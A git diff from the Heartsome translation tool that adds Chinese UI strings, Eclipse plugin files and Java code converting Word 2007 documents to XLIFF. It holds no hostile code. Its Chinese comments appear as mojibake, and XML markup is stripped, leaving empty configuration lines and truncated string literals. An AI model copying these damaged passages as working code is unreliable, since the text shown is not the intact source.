\u6587\u4EF6 [*.pot,*.po] +FileFormats.7=RTF (Rich Text Format) \u6587\u4EF6 [*.rtf] +FileFormats.8=XML \u6587\u4EF6 [*.xml] +FileFormats.9=\u6240\u6709\u6587\u4EF6 [*.*] +FileFormatsSupportMsOffice.26=MS Office \u6587\u4EF6 [*.doc,*.xls,*.ppt] +FileFormatsSupportMsOffice.28=MS Office \u6587\u4EF6 [*.doc,*.xls,*.ppt] +RepetitionAnalysis.0=\u91CD\u590D\u5206\u6790 +RepetitionAnalysis.1=\u6279\u5904\u7406\u6587\u4EF6\u540D\u79F0 +RepetitionAnalysis.106=\u603B\u6570 +RepetitionAnalysis.11=\u5B57\u6570 +RepetitionAnalysis.116=\u5B57\u6570\u5206\u6790 +RepetitionAnalysis.120=\u6587\u6863 +RepetitionAnalysis.122=\u65B0\u5EFA +RepetitionAnalysis.124=100% +RepetitionAnalysis.126=\u91CD\u590D +RepetitionAnalysis.128=95-99% +RepetitionAnalysis.130=85-94% +RepetitionAnalysis.132=75-84% +RepetitionAnalysis.132b=50-74% +RepetitionAnalysis.134=\u603B\u6570 +RepetitionAnalysis.163=\u603B\u6570 +RepetitionAnalysis.175=\u7FFB\u8BD1\u8FDB\u5EA6\u5206\u6790 +RepetitionAnalysis.179=\u6587\u6863 +RepetitionAnalysis.181=\u672A\u7FFB\u8BD1 +RepetitionAnalysis.183=\u5DF2\u7FFB\u8BD1 +RepetitionAnalysis.185=\u5DF2\u6279\u51C6 +RepetitionAnalysis.187=\u672A\u6279\u51C6 +RepetitionAnalysis.189=\u603B\u6570 +RepetitionAnalysis.2=\u6D4F\u89C8... +RepetitionAnalysis.203=\u603B\u6570 +RepetitionAnalysis.21=\u53D6\u6D88 +RepetitionAnalysis.213=\u5907\u6CE8\uFF1A +RepetitionAnalysis.216=\u6587\u6863\u5185\u7684\u91CD\u590D +RepetitionAnalysis.218=\u6587\u6863\u5185\u7684\u91CD\u590D\uFF1D\u540C\u4E00\u6587\u6863\u5185\u91CD\u590D\u7684\u6587\u672C\u6BB5 +RepetitionAnalysis.221=\u6587\u6863\u5916\u7684\u91CD\u590D +RepetitionAnalysis.223=\u6587\u6863\u5916\u7684\u91CD\u590D\uFF1D\u6240\u6709\u6587\u6863\u4E2D\u91CD\u590D\u7684\u6587\u672C\u6BB5 +RepetitionAnalysis.232=\u6B63\u5728\u68C0\u67E5\u6587\u672C\u6BB5... +RepetitionAnalysis.233=\u6587\u4EF6\uFF1A{0} +RepetitionAnalysis.234=\u6B63\u5728\u68C0\u67E5\u91CD\u590D\u7684\u6587\u672C\u6BB5... +RepetitionAnalysis.236=\u6587\u672C\u6BB5\u5206\u6790... +RepetitionAnalysis.238=\u5B57\u6570\u5206\u6790... +RepetitionAnalysis.240=\u6587\u672C\u6BB5\u7FFB\u8BD1\u8FDB\u5EA6... +RepetitionAnalysis.242=\u5B57\u6570\u7FFB\u8BD1\u8FDB\u5EA6... +RepetitionAnalysis.243=\u65E5\u671F +RepetitionAnalysis.244=\u8BF4\u660E +RepetitionAnalysis.245=\u5C1A\u672A\u4E3A HTML \u6587\u4EF6\u5B9A\u4E49\u9ED8\u8BA4\u67E5\u770B\u5668\u3002 +RepetitionAnalysis.26=\u6587\u4EF6 {0} \u7FFB\u8BD1\u8BB0\u5FC6\u5339\u914D\u5206\u6790 +RepetitionAnalysis.29=\u6279\u5904\u7406\u6587\u4EF6 {0} \u7FFB\u8BD1\u8BB0\u5FC6\u5339\u914D\u5206\u6790 +RepetitionAnalysis.3=\u6279\u5904\u7406\u6587\u4EF6 [*.xlp] +RepetitionAnalysis.4=\u6240\u6709\u6587\u4EF6 [*.*] +RepetitionAnalysis.6=\u6587\u672C\u6BB5 +RepetitionAnalysis.62=\u91CD\u590D\u5206\u6790 +RepetitionAnalysis.70=\u6587\u672C\u6BB5\u5206\u6790 +RepetitionAnalysis.74=\u6587\u6863 +RepetitionAnalysis.76=\u65B0\u5EFA +RepetitionAnalysis.78=\u5339\u914D +RepetitionAnalysis.8=\u67E5\u770B\u62A5\u8868 +RepetitionAnalysis.80=\u6587\u6863\u5185\u7684\u91CD\u590D +RepetitionAnalysis.82=\u6587\u6863\u5916\u7684\u91CD\u590D +RepetitionAnalysis.84=\u603B\u6570 +RepetitionAnalysis.9=\u9009\u62E9\u6279\u5904\u7406\u6587\u4EF6\u3002 +ReverseConversion.0=\u6587\u6863\u4E2D\u7F3A\u5C11\u6807\u8BB0\u6216\u5B58\u5728\u9519\u8BEF\u6807\u8BB0\u3002\u662F\u5426\u7EE7\u7EED\uFF1F +ReverseConversion.1=XLIFF \u6587\u4EF6 [*.xlf] +ReverseConversion.10=\u4E0D\u53D7\u652F\u6301\u7684 XLIFF \u6587\u4EF6\u3002 +ReverseConversion.12=\u5DF2\u8F6C\u6362\u7684\u6587\u4EF6 +ReverseConversion.13=\u6D4F\u89C8... +ReverseConversion.133=\u6B63\u5728\u5B58\u50A8\u7FFB\u8BD1 +ReverseConversion.136=XLIFF \u6587\u4EF6\u5C5E\u6027 +ReverseConversion.137=\u539F\u59CB\u683C\u5F0F\uFF1A{0} +ReverseConversion.138=\u6E90\u8BED\u8A00\uFF1A{0} +ReverseConversion.139=\u76EE\u6807\u8BED\u8A00\uFF1A{0} +ReverseConversion.140=\u539F\u59CB\u7F16\u7801\uFF1A{0} +ReverseConversion.141=\u9AA8\u67B6\u7C7B\u578B\uFF1A{0} +ReverseConversion.142=\u5206\u6790 XLIFF \u6587\u4EF6 +ReverseConversion.144=\u6240\u9009\u6587\u4EF6\u4E0D\u662F\u6709\u6548\u7684 XLIFF \u6587\u6863\u3002 +ReverseConversion.157=\u5728\u5C1D\u8BD5\u8F6C\u6362\u4E3A\u539F\u59CB\u683C\u5F0F\u4E4B\u524D\uFF0C\u5FC5\u987B\u5148\u5206\u5272 XLIFF \u6587\u4EF6\u3002 +ReverseConversion.158=\u4E0D\u53D7\u652F\u6301\u7684\u6587\u4EF6\u683C\u5F0F\u3002 +ReverseConversion.159=\u4E0D\u53D7\u652F\u6301\u7684\u6587\u4EF6\u683C\u5F0F\u3002 +ReverseConversion.160=\u5916\u90E8 +ReverseConversion.161=\u5185\u90E8 - \u5D4C\u5165\u5F0F +ReverseConversion.162=\u7F3A\u5C11\u9AA8\u67B6\u4FE1\u606F +ReverseConversion.163=\u7F3A\u5C11\u9AA8\u67B6\u4FE1\u606F +ReverseConversion.171=\u672A\u77E5 +ReverseConversion.176=\u672A\u77E5\u7684\u9519\u8BEF\u3002 +ReverseConversion.177=\u672A\u8BBE\u7F6E\u8BED\u8A00\u3002 +ReverseConversion.178=\u672A\u8BBE\u7F6E\u8BED\u8A00\u3002 +ReverseConversion.179=Office \u6587\u6863 +ReverseConversion.18=\u5B58\u50A8\u7FFB\u8BD1\u5230\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +ReverseConversion.185=\u9009\u62E9\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +ReverseConversion.191=\u5728\u201COpenOffice \u914D\u7F6E\u201D\u5BF9\u8BDD\u6846\u4E2D\u6307\u5B9A\u7684 OpenOffice \u8DEF\u5F84\u4E0D\u6B63\u786E\u3002 +ReverseConversion.192=\u8BF7\u5148\u66F4\u6B63\u6B64\u9519\u8BEF\uFF0C\u81EA\u52A8\u8F6C\u6362\u529F\u80FD\u624D\u80FD\u6B63\u5E38\u5DE5\u4F5C\u3002 +ReverseConversion.193=\u6587\u4EF6\u5DF2\u4ECE OpenOffice \u683C\u5F0F\u8F6C\u6362\u4E3A XLIFF\uFF0C\u4F46\u56E0\u4E3A\u60A8\u7684\u673A\u5668\u4E0A\u672A\u5B89\u88C5\u548C/\u6216\u5C1A\u672A\u914D\u7F6E OpenOffice\uFF0C\u56E0\u6B64\u65E0\u6CD5\u5C06\u6587\u4EF6\u81EA\u52A8\u8F6C\u6362\u56DE\u539F\u59CB\u683C\u5F0F\u3002 +ReverseConversion.194=\u662F\u5426\u8F6C\u6362\u4E3A OpenOffice \u683C\u5F0F\uFF1F +ReverseConversion.195=\u6587\u4EF6\u5DF2\u4ECE OpenOffice \u683C\u5F0F\u8F6C\u6362\u4E3A XLIFF\uFF0C\u4F46\u56E0\u4E3A\u60A8\u7684\u673A\u5668\u4E0A\u672A\u5B89\u88C5\u548C/\u6216\u5C1A\u672A\u914D\u7F6E OpenOffice\uFF0C\u56E0\u6B64\u65E0\u6CD5\u5C06\u6587\u4EF6\u81EA\u52A8\u8F6C\u6362\u56DE\u539F\u59CB\u683C\u5F0F\u3002 +ReverseConversion.196=\u662F\u5426\u8F6C\u6362\u4E3A OpenOffice \u683C\u5F0F\uFF1F +ReverseConversion.2=\u6240\u6709\u6587\u4EF6 [*.*] +ReverseConversion.20=\u8F6C\u6362\u6587\u4EF6\u4E3A\u539F\u59CB\u683C\u5F0F +ReverseConversion.200=\u4E0D\u652F\u6301\u65E7\u7248\u672C\u7684 MS Office\u3002 +ReverseConversion.210=\u627E\u4E0D\u5230\u9AA8\u67B6\u6587\u4EF6\u3002 +ReverseConversion.214=\u627E\u4E0D\u5230\u9AA8\u67B6\u6587\u4EF6\u3002 +ReverseConversion.22=\u9009\u62E9\u8981\u8F6C\u6362\u7684\u6587\u4EF6\u3002 +ReverseConversion.234=xml\:lang +ReverseConversion.24=\u4E3A\u8F6C\u6362\u540E\u7684\u6587\u4EF6\u9009\u62E9\u540D\u79F0\u3002 +ReverseConversion.25=\u4E3A\u8F6C\u6362\u540E\u7684\u6587\u4EF6\u53E6\u9009\u540D\u79F0\u3002 +ReverseConversion.263=\u4F7F\u7528 OpenOffice \u81EA\u52A8\u8F6C\u6362\u6587\u4EF6\u65F6\u51FA\u9519\u3002 +ReverseConversion.264=\u8F6C\u6362\u81F3\u6E90\u683C\u5F0F\u5931\u8D25\u3002 +ReverseConversion.27=\u672A\u6307\u5B9A\u7F16\u7801\u3002 +ReverseConversion.279=\u8986\u76D6 +ReverseConversion.280=\u603B\u662F\u6DFB\u52A0 +ReverseConversion.281=\u8986\u76D6\u539F\u6709\u7FFB\u8BD1\u5355\u5143\uFF0C\u8FD8\u662F\u6DFB\u52A0\u4E3A\u65B0\u7684\u7FFB\u8BD1\u5355\u5143\uFF1F +ReverseConversion.283=\u8986\u76D6 +ReverseConversion.284=\u5408\u5E76 +ReverseConversion.285=\u8986\u76D6\u539F\u6709\u5C5E\u6027\u4E0E\u6279\u6CE8\uFF0C\u8FD8\u662F\u5408\u5E76\u5C5E\u6027\u4E0E\u6279\u6CE8\uFF1F +ReverseConversion.286=\u76EE\u6807\u7F16\u7801 +ReverseConversion.3=\u6587\u4EF6\u8F6C\u6362 +ReverseConversion.30=\u5173\u95ED +ReverseConversion.35=\u6587\u4EF6\u8F6C\u6362 +ReverseConversion.36=\u6B63\u5728\u5904\u7406... +ReverseConversion.4=XLIFF \u6587\u4EF6 +ReverseConversion.46=\u8F6C\u6362\u5B8C\u6210\u3002 +ReverseConversion.47=\u672A\u77E5\u7684\u9519\u8BEF\u3002 +ReverseConversion.48=\u8F6C\u6362\u5B8C\u6210\u4E4B\u540E\u6253\u5F00\u6587\u4EF6 +ReverseConversion.5=\u6D4F\u89C8... +ReverseConversion.6=\u6BB5\u9996/\u6BB5\u672B\u7A7A\u683C\u4E0D\u4E00\u81F4\u3002\u662F\u5426\u7EE7\u7EED\uFF1F +ReverseConversion.87=\u5B58\u5728\u672A\u6279\u51C6\u7684\u6587\u672C\u6BB5\u3002\u662F\u5426\u7EE7\u7EED\uFF1F +ReverseProjects.0=\u8F6C\u6362\u6279\u5904\u7406\u6587\u4EF6\u4E3A\u539F\u59CB\u683C\u5F0F +ReverseProjects.1=\u6279\u5904\u7406\u6587\u4EF6 +ReverseProjects.11=\u9009\u62E9\u6279\u5904\u7406\u6587\u4EF6\u3002 +ReverseProjects.13=\u9009\u62E9\u7FFB\u8BD1\u8BB0\u5FC6\u5E93\u3002 +ReverseProjects.14=\u5173\u95ED +ReverseProjects.15=\u6CA1\u6709\u53EF\u7528\u7684\u6570\u636E\u5E93 +ReverseProjects.17=\u6240\u9009\u6587\u4EF6\u4E0D\u662F\u7FFB\u8BD1\u6279\u5904\u7406\u6587\u4EF6\u3002 +ReverseProjects.18=\u6279\u5904\u7406\u6587\u4EF6\u8F6C\u6362 +ReverseProjects.19=\u6B63\u5728\u5904\u7406... +ReverseProjects.2=\u6D4F\u89C8... +ReverseProjects.3=\u6279\u5904\u7406\u6587\u4EF6 [*.xlp] +ReverseProjects.33=\u8F6C\u6362\u5B8C\u6210\u3002 +ReverseProjects.4=\u6240\u6709\u6587\u4EF6 [*.*] +ReverseProjects.8=\u5B58\u50A8\u7FFB\u8BD1\u5230\u7FFB\u8BD1\u8BB0\u5FC6\u5E93 +ReverseProjects.9=\u8F6C\u6362\u6587\u4EF6\u4E3A\u539F\u59CB\u683C\u5F0F +UnexistentSegment.0=\u9AA8\u67B6\u6587\u4EF6\u5185\u627E\u4E0D\u5230\u8981\u6C42\u7684\u6587\u672C\u6BB5\u3002 +WrongFileException.0=\u6587\u4EF6\u7C7B\u578B\u4E0D\u6B63\u786E\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.word2007/.classpath b/hsconverter/net.heartsome.cat.converter.word2007/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.word2007/.project b/hsconverter/net.heartsome.cat.converter.word2007/.project new file mode 100644 index 0000000..1df9d08 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.word2007 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.word2007/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.word2007/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..9237d9c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:11:53 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.word2007/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.word2007/META-INF/MANIFEST.MF new file mode 100644 index 0000000..39e014a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/META-INF/MANIFEST.MF @@ -0,0 +1,18 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MS Word +Bundle-SymbolicName: net.heartsome.cat.converter.word2007 +Bundle-Version: 8.0.2.R8b_v20130417 +Bundle-Activator: net.heartsome.cat.converter.word2007.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + org.eclipse.ui;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: . +Import-Package: net.heartsome.cat.common.ui +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.word2007/build.properties b/hsconverter/net.heartsome.cat.converter.word2007/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Activator.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Activator.java new file mode 100644 index 0000000..9375f82 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Activator.java @@ -0,0 +1,84 @@ +package net.heartsome.cat.converter.word2007; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + * word 2007 转æ¢å™¨çš„ Activator。 --robert 2012-08-28 + */ +public class Activator extends AbstractUIPlugin implements BundleActivator { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.trados2009"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + /** trados 2009文件转æ¢è‡³xliff文件的æœåŠ¡æ³¨å†Œå™¨ */ + @SuppressWarnings("rawtypes") + private ServiceRegistration docx2XliffSR; + /** xliff文件转æ¢è‡³trados 2009文件的æœåŠ¡æ³¨å†Œå™¨ */ + @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2DocxSR; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + + Converter docx2Xliff = new Docx2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Docx2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Docx2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Docx2Xliff.TYPE_NAME_VALUE); + docx2XliffSR = ConverterRegister.registerPositiveConverter(context, docx2Xliff, properties); + + Converter xliff2Docx = new Xliff2Docx(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Docx.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Docx.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Docx.TYPE_NAME_VALUE); + xliff2DocxSR = ConverterRegister.registerReverseConverter(context, xliff2Docx, properties); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (docx2XliffSR != null) { + docx2XliffSR.unregister(); + docx2XliffSR = null; + } + if (xliff2DocxSR != null) { + xliff2DocxSR.unregister(); + xliff2DocxSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Docx2Xliff.java b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Docx2Xliff.java new file mode 100644 index 0000000..a207f25 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/Docx2Xliff.java @@ -0,0 +1,347 @@ +/** + * MSOffice2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.word2007; + +import java.io.File; +import java.io.FileOutputStream; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.word2007.common.DocxConverterException; +import net.heartsome.cat.converter.word2007.common.PathConstant; +import net.heartsome.cat.converter.word2007.common.PathUtil; +import net.heartsome.cat.converter.word2007.common.ZipUtil; +import net.heartsome.cat.converter.word2007.partOper.DocumentPart; +import net.heartsome.cat.converter.word2007.resource.Messages; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * The Class MSOffice2Xliff. + * @author robert 2012-08-21 + * @version + * @since JDK1.6 + */ +public class Docx2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msofficeWord2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.MSWORD2007"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MS Office Word 2007 to XLIFF Conveter"; + + private static final Logger LOGGER = LoggerFactory.getLogger(Docx2Xliff.class); + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + MSOffice2XliffImpl converter = new MSOffice2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class MSOffice2XliffImpl. + * @author robert + * @version + * @since JDK1.6 + */ + class MSOffice2XliffImpl { + + /** The qt tool id. */ + private String qtToolID = null; + + /** The input file. */ + private String inputFile; + + /** The xliff file. */ + private String xliffFile; + + /** The skeleton file. */ + private String skeletonFile; + + /** The source language. */ + private String sourceLanguage; + + /** The XLIFF file target language **/ + private String targetLanguage; + + /** The catalogue. */ + private String catalogue; + + /** The src encoding. */ + private String srcEncoding; + + /** The is suite. */ + private boolean isSuite; + + /** The srx. */ + private String srx; + private XliffOutputer xlfOutput; + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // ç»™ 20 ä¸ªè¿›åº¦æ ¼ï¼Œè§£åŽ‹åŠ åŽ‹å„ 1 个。处ç†é¡µçœ‰é¡µè„šå…± 1 个。其他 17 个处ç†ä¸»æ–‡æ¡£ + monitor.beginTask("", 20); + + Map result = new HashMap(); + + inputFile = args.get(Converter.ATTR_SOURCE_FILE); + xliffFile = args.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = args.get(Converter.ATTR_SKELETON_FILE); + isSuite = false; + if (Converter.TRUE.equals(args.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + qtToolID = args.get(Converter.ATTR_QT_TOOLID) != null ? args.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + sourceLanguage = args.get(Converter.ATTR_SOURCE_LANGUAGE); + targetLanguage = args.get(Converter.ATTR_TARGET_LANGUAGE); + catalogue = args.get(Converter.ATTR_CATALOGUE); + srx = args.get(Converter.ATTR_SRX); + srcEncoding = args.get(Converter.ATTR_SOURCE_ENCODING); + PathUtil pathUtil = null; + String docxFolderPath = ""; // docx 文件解压åŽçš„存放的临时目录 + try { + + StringSegmenter segmenter = new StringSegmenter(srx, sourceLanguage, catalogue); + + // 先解压 docx 文件 + monitor.setTaskName(Messages.getString("docxConvert.task1")); + String tempFolder = System.getProperty("java.io.tmpdir") + + System.getProperty("file.separator") + new File(inputFile).getName(); + docxFolderPath = ZipUtil.upZipFile(inputFile, tempFolder); + pathUtil = new PathUtil(docxFolderPath); + monitor.worked(1); + + // 定义一个 hsxliff 文件的写入方法 + xlfOutput = new XliffOutputer(xliffFile, sourceLanguage, targetLanguage); + xlfOutput.writeHeader(inputFile, skeletonFile, isSuite, "UTF-8", qtToolID); + + // 先从主文档 document 文件入手 + String docPath = pathUtil.getPackageFilePath(PathConstant.DOCUMENT, false); + DocumentPart docPart = new DocumentPart(docPath, pathUtil, xlfOutput, segmenter, inputFile, monitor); + docPart.converter(); + + xlfOutput.outputEndTag(); + idealizeGTag(xliffFile, pathUtil.getInterTagPath()); + + // 开始将文件进行压缩 + monitor.setTaskName(Messages.getString("docx2Xlf.task4")); + ZipUtil.zipFolder(skeletonFile, pathUtil.getSuperRoot()); + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("docxConvert.task3")); + } + } catch (DocxConverterException e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, e.getMessage(), e); + }catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + LOGGER.error(Messages.getString("docx2Xlf.msg1"), e); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("docx2Xlf.msg1") + "\n" + e.getMessage(), e); + + } finally { + deleteFileOrFolder(new File(docxFolderPath)); + monitor.done(); + try { + if (xlfOutput != null) { + xlfOutput.close(); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + return result; + } + } + + public static void deleteFileOrFolder(File file) { + if (file.exists()) { + if (file.isFile()) { + file.delete(); + } else if (file.isDirectory()) { + File files[] = file.listFiles(); + for (int i = 0; i < files.length; i++) { + deleteFileOrFolder(files[i]); + } + } + file.delete(); + } + } + + /** + * 简化 xliff 文件的标记,主è¦åŠŸèƒ½æ˜¯å°†ä¸€ä¸ªæºæ–‡ä¸­çš„ g 标记进行抽å–到骨架的æ“作。针对一个æºæ–‡ä¸­åªæœ‰ä¸€ä¸ª g 标记,并且该 g 标记包褒全文本段 + * 生æˆä¸€ä¸ª å为 interTag.xml 的文件,存放于骨架文件的第一级å­ç›®å½•ï¼Œä¸Ž word 文件夹åŒç›®å½• + * 其结构大致为
    + * <docxTags>
    + * <tag tuId="0" >this is a tag</tag>
    + * </docxTags>
    + *
    备注:interTag.xml 介ç»ï¼š æ­¤æ–‡ä»¶å¹¶éž docx 的内部文件,而是ä¿å­˜è½¬æ¢ docx 文件时的部份 g标记(æºæ–‡ä¸­åªæœ‰ä¸€å¯¹ g 标记,并且是它包褒一整个文本段)
    + */ + private static void idealizeGTag(String xliffPath, String interTagPath) throws Exception{ + final String constantGHeader = "" + header + "" + "\n"); + } + } + } + vn.pop(); + } + + xm.output(xliffPath); + + if (tagContentSB.length() > 0) { + // 开始创建 interTag.xml 文件 + File file = new File(interTagPath); + if (!file.exists()) { + FileOutputStream output; + output = new FileOutputStream(interTagPath); + output.write("\n".getBytes("UTF-8")); + output.write("\n".getBytes("UTF-8")); + output.write(tagContentSB.toString().getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.close(); + } + } + } + + public static void main(String[] args) { + Docx2Xliff docx2Xliff = new Docx2Xliff(); + String xliffPath = "/home/robert/Desktop/Heartsome Support Revised_转æ¢åŽå°‘一个字.docx.hsxliff"; + try { + docx2Xliff.idealizeGTag(xliffPath, null); + } catch (Exception e) { + e.printStackTrace(); + } + +// final String constantGHeader = " translateAttrMap; + protected XliffOutputer xlfOutput; + /** 命å空间 */ + protected Map nameSpaceMap = new HashMap(); + /** 分段规则 */ + protected StringSegmenter segmenter; + + protected XliffInputer xlfInput; + + /** 是å¦æ˜¯é“¾æŽ¥ */ + private boolean isLink = false; + /** 链接文本 */ + private String linkText = null; + + /** + * æ­£å‘转æ¢æ‰€ç”¨åˆ°çš„构造方法 + * @param partPath + * @param xlfOutput + * @param segmenter + * @throws Exception + */ + public PartOperate(String partPath, XliffOutputer xlfOutput, StringSegmenter segmenter){ + this.partPath = partPath; + this.xlfOutput = xlfOutput; + this.segmenter = segmenter; + translateAttrMap = new HashMap(); + } + + /** + * 逆转æ¢ç”¨åˆ°çš„构造函数 + * @param partPath + * @param xlfInput + */ + public PartOperate(String partPath, XliffInputer xlfInput){ + this.partPath = partPath; + this.xlfInput = xlfInput; + } + + /** + * 解æžæ–‡ä»¶ + * @param nameSpaceMap è¦ç”³æ˜Žçš„命å空间 + * @throws Exception + */ + protected void loadFile(Map nameSpaceMap) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(partPath, true)) { + vn = vg.getNav(); + ap = new AutoPilot(vn); + otherAP = new AutoPilot(vn); + childAP = new AutoPilot(vn); + extendAP = new AutoPilot(vn); + vu = new VTDUtils(vn); + xm = new XMLModifier(vn); + // ç»™ ap 申明命å空间 + for(Entry entry : nameSpaceMap.entrySet()){ + ap.declareXPathNameSpace(entry.getKey(), entry.getValue()); + childAP.declareXPathNameSpace(entry.getKey(), entry.getValue()); + otherAP.declareXPathNameSpace(entry.getKey(), entry.getValue()); + extendAP.declareXPathNameSpace(entry.getKey(), entry.getValue()); + } + }else { + throw new DocxConverterException(MessageFormat.format(Messages.getString("docxConvert.msg2"), partPath)); + } + } + + /** + * 开始è¿è¡Œæ­£å‘转æ¢ï¼Œå³ word 2007 转æ¢æˆ hsxliff + */ + protected abstract void converter() throws Exception; + + /** + * 开始è¿è¡Œé€†è½¬æ¢ + * @throws Exception + */ + protected abstract void reverseConvert() throws Exception; + + /** + * 获å–一个 p 